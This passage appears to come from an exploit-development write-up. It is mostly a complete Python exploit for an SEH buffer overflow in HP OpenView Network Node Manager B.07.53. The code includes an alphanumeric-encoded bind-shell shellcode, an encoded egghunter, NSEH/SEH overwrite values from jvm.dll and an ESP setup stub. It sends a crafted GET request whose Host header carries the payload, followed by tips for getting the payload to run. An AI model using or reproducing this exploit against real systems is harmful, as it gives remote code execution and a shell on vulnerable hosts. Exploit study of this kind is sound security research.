    encoded_shellcode = ("\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x38\x55\x63\x2d\x55\x38\x55\x63\x2d\x56\x3c"
                         "\x56\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4f\x2e\x30\x31\x2d\x4f\x2e\x30\x31"
                         "\x2d\x4f\x31\x30\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x53\x6c\x3d\x2d\x2d"
                         "\x53\x6c\x3d\x2d\x31\x54\x6c\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x52\x2a\x56"
                         "\x5f\x2d\x52\x2a\x56\x5f\x2d\x52\x2b\x58\x60\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
                         "\x63\x3e\x53\x2b\x2d\x63\x3e\x53\x2b\x2d\x65\x46\x53\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
                         "\x31\x2a\x2d\x23\x6b\x20\x55\x2d\x23\x6b\x20\x55\x2d\x25\x6c\x21\x56\x50\x25\x4a\x4d\x4e\x55"
                         "\x25\x35\x32\x31\x2a\x2d\x5f\x35\x32\x73\x2d\x5f\x35\x32\x73\x2d\x60\x37\x33\x73\x50\x25\x4a"
                         "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x6b\x71\x68\x2d\x63\x6b\x71\x68\x2d\x65\x6d\x72\x69"
                         "\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x28\x4b\x35\x55\x2d\x28\x4b\x35\x55\x2d\x29"
                         "\x4c\x35\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x44\x32\x52\x2d\x55\x44\x32"
                         "\x52\x2d\x57\x46\x33\x53\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x60\x39\x38\x3c\x2d"
                         "\x60\x39\x38\x3c\x2d\x60\x3e\x39\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x28\x55"
                         "\x63\x27\x2d\x28\x55\x63\x27\x2d\x2a\x56\x63\x27\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
                         "\x2d\x32\x2c\x66\x3e\x2d\x32\x2c\x66\x3e\x2d\x34\x2e\x67\x43\x50\x25\x4a\x4d\x4e\x55\x25\x35"
                         "\x32\x31\x2a\x2d\x37\x38\x38\x38\x2d\x37\x38\x38\x38\x2d\x3c\x39\x3c\x39\x50\x25\x4a\x4d\x4e"
                         "\x55\x25\x35\x32\x31\x2a\x2d\x37\x3c\x38\x3b\x2d\x37\x3c\x38\x3b\x2d\x3c\x41\x39\x3b\x50\x25"
                         "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x39\x38\x38\x2d\x38\x39\x38\x38\x2d\x3c\x3d\x39"
                         "\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x68\x54\x3d\x2d\x50\x68\x54\x3d\x2d"
                         "\x50\x69\x56\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x26\x3d\x49\x2d\x55\x26"
                         "\x3d\x49\x2d\x55\x26\x41\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3d\x49\x41\x54"
                         "\x2d\x3d\x49\x41\x54\x2d\x42\x49\x41\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f"
                         "\x55\x32\x68\x2d\x5f\x55\x32\x68\x2d\x60\x57\x34\x68\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
                         "\x2a\x2d\x32\x4f\x37\x38\x2d\x32\x4f\x37\x38\x2d\x32\x4f\x38\x39\x50\x25\x4a\x4d\x4e\x55\x25"
                         "\x35\x32\x31\x2a\x2d\x38\x38\x44\x58\x2d\x38\x38\x44\x58\x2d\x39\x38\x46\x59\x50\x25\x4a\x4d"
                         "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x27\x5e\x37\x2d\x55\x27\x5e\x37\x2d\x56\x28\x60\x39\x50"
                         "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x34\x30\x33\x2d\x32\x34\x30\x33\x2d\x34\x34"
                         "\x32\x35\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3b\x34\x55\x63\x2d\x3b\x34\x55\x63"
                         "\x2d\x3d\x36\x56\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x23\x32\x2e\x30\x2d\x23"
                         "\x32\x2e\x30\x2d\x23\x33\x2e\x31\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f\x55\x63"
                         "\x37\x2d\x5f\x55\x63\x37\x2d\x61\x55\x63\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
                         "\x32\x2d\x5b\x41\x2d\x32\x2d\x5b\x41\x2d\x34\x31\x5d\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
                         "\x31\x2a\x2d\x55\x55\x63\x37\x2d\x55\x55\x63\x37\x2d\x57\x55\x63\x39\x50\x25\x4a\x4d\x4e\x55"
                         "\x25\x35\x32\x31\x2a\x2d\x32\x6d\x5c\x42\x2d\x32\x6d\x5c\x42\x2d\x34\x6e\x5d\x42\x50\x25\x4a"
                         "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x33\x55\x63\x37\x2d\x33\x55\x63\x37\x2d\x33\x56\x63\x39"
                         "\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x69\x61\x42\x2d\x32\x69\x61\x42\x2d\x34"
                         "\x6b\x61\x43\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x4f\x38\x38\x2d\x32\x4f\x38"
                         "\x38\x2d\x32\x51\x39\x38\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4f\x36\x27\x5d\x2d"
                         "\x4f\x36\x27\x5d\x2d\x51\x37\x28\x5f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x23\x32"
                         "\x54\x55\x2d\x23\x32\x54\x55\x2d\x23\x33\x55\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
                         "\x2d\x60\x5f\x55\x63\x2d\x60\x5f\x55\x63\x2d\x61\x60\x55\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35"
                         "\x32\x31\x2a\x2d\x39\x32\x5c\x4f\x2d\x39\x32\x5c\x4f\x2d\x3e\x33\x5d\x51\x50\x25\x4a\x4d\x4e"
                         "\x55\x25\x35\x32\x31\x2a\x2d\x56\x3e\x39\x3e\x2d\x56\x3e\x39\x3e\x2d\x57\x42\x3d\x43\x50\x25"
                         "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x52\x37\x39\x5f\x2d\x52\x37\x39\x5f\x2d\x54\x38\x3d"
                         "\x5f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x63\x31\x2d\x55\x55\x63\x31\x2d"
                         "\x56\x56\x63\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x47\x2a\x31\x2d\x32\x47"
                         "\x2a\x31\x2d\x34\x48\x2b\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x47\x69\x37\x39"
                         "\x2d\x47\x69\x37\x39\x2d\x49\x69\x3c\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x25"
                         "\x54\x55\x55\x2d\x25\x54\x55\x55\x2d\x26\x56\x55\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
                         "\x2a\x2d\x53\x55\x63\x6c\x2d\x53\x55\x63\x6c\x2d\x53\x56\x63\x6e\x50\x25\x4a\x4d\x4e\x55\x25"
                         "\x35\x32\x31\x2a\x2d\x32\x3b\x2d\x48\x2d\x32\x3b\x2d\x48\x2d\x34\x3d\x2e\x49\x50\x25\x4a\x4d"
                         "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x44\x35\x39\x2d\x2e\x44\x35\x39\x2d\x31\x45\x36\x39\x50"
                         "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x32\x2d\x2d\x55\x55\x32\x2d\x2d\x56\x55"
                         "\x33\x2e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x36\x32\x44\x44\x2d\x36\x32\x44\x44"
                         "\x2d\x37\x33\x44\x45\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x4f\x5c\x25\x2d\x27"
                         "\x4f\x5c\x25\x2d\x27\x4f\x5c\x27\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x60\x35\x35"
                         "\x37\x2d\x60\x35\x35\x37\x2d\x60\x35\x36\x37\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
                         "\x37\x37\x39\x55\x2d\x37\x37\x39\x55\x2d\x39\x37\x3c\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
                         "\x31\x2a\x2d\x49\x36\x36\x34\x2d\x49\x36\x36\x34\x2d\x4a\x38\x38\x36\x50\x25\x4a\x4d\x4e\x55"
                         "\x25\x35\x32\x31\x2a\x2d\x65\x27\x3d\x49\x2d\x65\x27\x3d\x49\x2d\x66\x27\x41\x49\x50\x25\x4a"
                         "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x53\x26\x54\x2d\x27\x53\x26\x54\x2d\x27\x55\x28\x56"
                         "\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x4b\x54\x64\x2d\x38\x4b\x54\x64\x2d\x38"
                         "\x4d\x56\x64\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x51\x3c\x26\x2d\x27\x51\x3c"
                         "\x26\x2d\x27\x51\x3c\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x54\x64\x32\x2d"
                         "\x49\x54\x64\x32\x2d\x4a\x56\x64\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x37"
                         "\x26\x37\x2d\x5e\x37\x26\x37\x2d\x60\x38\x28\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
                         "\x2d\x41\x2b\x49\x2e\x2d\x41\x2b\x49\x2e\x2d\x43\x2c\x49\x2e\x50\x25\x4a\x4d\x4e\x55\x25\x35"
                         "\x32\x31\x2a\x2d\x58\x53\x2b\x57\x2d\x58\x53\x2b\x57\x2d\x5a\x55\x2c\x59\x50\x25\x4a\x4d\x4e"
                         "\x55\x25\x35\x32\x31\x2a\x2d\x68\x42\x5f\x2c\x2d\x68\x42\x5f\x2c\x2d\x69\x42\x61\x31\x50\x25"
                         "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x6a\x65\x50\x54\x2d\x6a\x65\x50\x54\x2d\x6b\x65\x51"
                         "\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x44\x55\x70\x2d\x63\x44\x55\x70\x2d"
                         "\x64\x45\x56\x72\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x43\x26\x54\x2d\x27\x43"
                         "\x26\x54\x2d\x27\x45\x28\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4d\x5e\x41\x3c"
                         "\x2d\x4d\x5e\x41\x3c\x2d\x4e\x60\x42\x3e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55"
                         "\x64\x26\x3c\x2d\x55\x64\x26\x3c\x2d\x55\x64\x27\x3e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
                         "\x2a\x2d\x39\x26\x37\x4a\x2d\x39\x26\x37\x4a\x2d\x3d\x28\x38\x4b\x50\x25\x4a\x4d\x4e\x55\x25"
                         "\x35\x32\x31\x2a\x2d\x5f\x3c\x54\x64\x2d\x5f\x3c\x54\x64\x2d\x5f\x3e\x56\x66\x50\x25\x4a\x4d"
                         "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x3b\x4f\x2d\x2d\x27\x3b\x4f\x2d\x2d\x27\x3d\x50\x2d\x50"
                         "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x26\x3c\x41\x2d\x50\x26\x3c\x41\x2d\x50\x28"
                         "\x3d\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x38\x26\x39\x2d\x39\x38\x26\x39"
                         "\x2d\x3c\x38\x28\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x68\x5e\x59\x2d\x55"
                         "\x68\x5e\x59\x2d\x55\x68\x60\x5a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4a\x6a\x65"
                         "\x50\x2d\x4a\x6a\x65\x50\x2d\x4c\x6a\x65\x51\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
                         "\x35\x2b\x54\x46\x2d\x35\x2b\x54\x46\x2d\x35\x2d\x55\x47\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
                         "\x31\x2a\x2d\x45\x55\x70\x3e\x2d\x45\x55\x70\x3e\x2d\x45\x56\x72\x46\x50\x25\x4a\x4d\x4e\x55"
                         "\x25\x35\x32\x31\x2a\x2d\x50\x6d\x3c\x48\x2d\x50\x6d\x3c\x48\x2d\x51\x6e\x3c\x49\x50\x25\x4a"
                         "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4e\x26\x2e\x47\x2d\x4e\x26\x2e\x47\x2d\x50\x28\x31\x49"
                         "\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x51\x26\x39\x2d\x39\x51\x26\x39\x2d\x3c"
                         "\x51\x28\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x39\x45\x26\x2d\x27\x39\x45"
                         "\x26\x2d\x27\x3d\x45\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x44\x6a\x33\x2d"
                         "\x5e\x44\x6a\x33\x2d\x5f\x45\x6b\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55"
                         "\x35\x27\x2d\x55\x55\x35\x27\x2d\x56\x55\x35\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
                         "\x2d\x56\x5c\x29\x55\x2d\x56\x5c\x29\x55\x2d\x58\x5e\x2a\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35"
                         "\x32\x31\x2a\x2d\x58\x59\x47\x63\x2d\x58\x59\x47\x63\x2d\x59\x59\x47\x65\x50\x25\x4a\x4d\x4e"
                         "\x55\x25\x35\x32\x31\x2a\x2d\x54\x55\x55\x55\x2d\x54\x55\x55\x55\x2d\x54\x55\x55\x55\x50\x25"
                         "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x44\x64\x6b\x2d\x38\x44\x64\x6b\x2d\x38\x46\x65"
                         "\x6d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x29\x5b\x4f\x39\x2d\x29\x5b\x4f\x39\x2d"
                         "\x2b\x5d\x50\x39\x50")

    initial_buff = egg_marker + esp_setup_shellcode + encoded_shellcode + "A" * (
            len(initial_buff) - len(egg_marker) - len(esp_setup_shellcode) - len(encoded_shellcode))

    # 1035FE34   48               DEC EAX
    # 1035FE35   48               DEC EAX
    # 1035FE36   77 04            JA SHORT 1035FE59
    # little endian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
    nseh = "\x48\x48\x77\x04"

    # 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:
    # False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP
    # OpenView\jre\jreActive\bin\client\jvm.dll)
    seh = (0x6d6e394a.to_bytes(4, 'little')).decode('ISO-8859-1')

    # setting up ESP dynamically to bypassing ASLR protection
    # 2216FDF0   58               POP EAX
    # 2216FDF8   66:05 2C01       ADD AX,12C
    # 2216FDF6   50               PUSH EAX
    # 2216FDF7   5C               POP ESP

    esp_setup = "\x58\x66\x05\x2c\x01\x50\x5c"

    # !mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s
    # 6681CAFF0F42526A0258CD2E3C055A74EFB8543030578BFAAF75EAAF75E7FFE7
    encoded_egghunter = (
        "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x5d\x55\x5d\x2d\x2d\x5d\x55\x5d\x2d\x31\x5e\x55\x5d\x50\x25"
        "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2c\x5c\x6f\x2d\x70\x2c\x5c\x6f\x2d\x71\x31\x5d\x71\x50\x25\x4a"
        "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d"
        "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x37\x45\x2d\x5b\x6c\x37\x45\x2d\x5b\x6e\x3c\x45\x50\x25\x4a\x4d\x4e"
        "\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2d\x2d\x41\x53\x37\x2d\x2d\x42\x54\x37\x31\x50\x25\x4a\x4d\x4e\x55"
        "\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25"
        "\x35\x32\x31\x2a\x2d\x50\x3e\x39\x31\x2d\x50\x3e\x39\x31\x2d\x51\x41\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35"
        "\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50")

    # replaced the "D" buffer with "A" buffer to protect from ESP corruption because D will be interpreted as INC ESP
    buff_last = "A" * (
            total_len_buff - len(initial_buff) - len(nseh) - len(seh) - len(esp_setup) - len(encoded_egghunter))

    crash = initial_buff + nseh + seh + esp_setup + encoded_egghunter + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] sent buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

shell_bind_tcp

Make sure the firewall is ON and ovas.exe is added into the program exceptions. Otherwise while during the shellcode execution, an exception will occur and the payload will not work as expected.

Conclusion

At the end of my journey, I found my final exploit code was turned out entirely different from muts EDB-ID #5342.

The reason was, in this particular B.07.53 release, application validates the length of GET request and that restricted me to deliver the payload the same way as muts did.

References

  • DEFCON #16: BackTrack Foo - From bug to 0day by Mati Aharoni DEFCON #16 talk on YouTube